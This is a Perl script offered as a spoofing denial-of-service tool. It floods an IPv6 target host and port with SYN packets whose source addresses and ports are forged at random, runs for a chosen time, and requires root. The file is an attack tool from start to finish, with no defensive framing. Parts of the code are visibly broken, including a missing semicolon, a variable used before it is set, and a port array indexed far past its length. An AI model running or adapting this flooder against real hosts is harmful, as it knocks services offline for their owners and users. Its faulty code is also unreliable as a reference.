#!/usr/bin/perl
# Synner.pl Spoof DoS tool ported to Ipv6 + better socket sending by xd
# Description:
# It works sending syn tcp packets to destination host:port,
# spoofing it`s own ip addresses by sending randon source host:port packets.
# Install Net::RawIP from cpan or get it`s .tar,gz from somewhere.
# Make sure to get and install this module from cpan
# This tool does SPOOF your IP.
# Run it as ROOT (Net::RawIP needs).
##########################################
use Net::RawIP;
use warnings;
use Socket;
use Socket6;

sub usage() {
die "Usage: $0 <Ipv6 IP> <Port> <Time(seconds)>\n";
die "Ex: synner6.pl 2001:2:000:000:2:2:2 22 999999\n";
die "OR for unlimited packet sending + randomised ports,\n";
die "Ex: synner6.pl 2001:2:000:000:2:2:2 0 0\n";
exit;
}
sub get_time() {
$finaltime=time;
$endme=$finaltime-$begintime;
}
if (@ARGV>3) {
&usage
}
$ipdest = $ARGV[0] or &usage;
$destport = $ARGV[1] or &usage;
$time = $ARGV[2] or &usage;
@tmpport=(1,22,25,80,139,445,3306,1433,53,23,6667,65535);
@iparray_round1 = (1,2);
@iparray_round2 = (0,1,2,3,4,5,6,7,8,9);
print "[!] SynPack IPv6 starting..\n";
print "[!] Setting Time: ($time)\n";
print "[!] Set Target Ipv6 Host: ($ipdest:$destport)\n";
socket6(my $s, PF_INET6, SOCK_STREAM, 1);
my $iaddr = inet_pton(PF_INET6, $ip);
$packet = new Net::RawIP;
$begintime = $^T;
get_time();
while($endme < $time) {
for ($z=0;$z<4;$z++) {
for($I=0;$I<1;$I++) {
$ip .= 2;
}
for($kick=0;$kick<1;$kick++) {
$iparray_round1 = $iparray_round1[rand(@iparray_round1)];
$ip .= $iparray_round1 +3;
}
for($you=0;$you<1;$you++) {
$iparray_round2 = $iparray_round2[rand(@iparray_round2)];
$ip .= $iparray_round2 +3;
}
$ip .= ":";
}
chop($ip);
$tmpport = $tmpport[rand(65534)];
$packet->set(
{
ip => { saddr => $ip,
daddr => $ipdest
},
tcp => { source => $tmpport,
dest => $destport,
psh => 0,
ack => 1,
syn => 1,
data => ';1337;fece;2'
}
}
);
$packet->send($s, 0, 1, sockaddr_in6(int(rand(65000)) + 1, $iaddr))
$packet->send(0,1);
print "From: ($ip)\r";
$ip = '';
get_time();
}
print "\nDone..\n";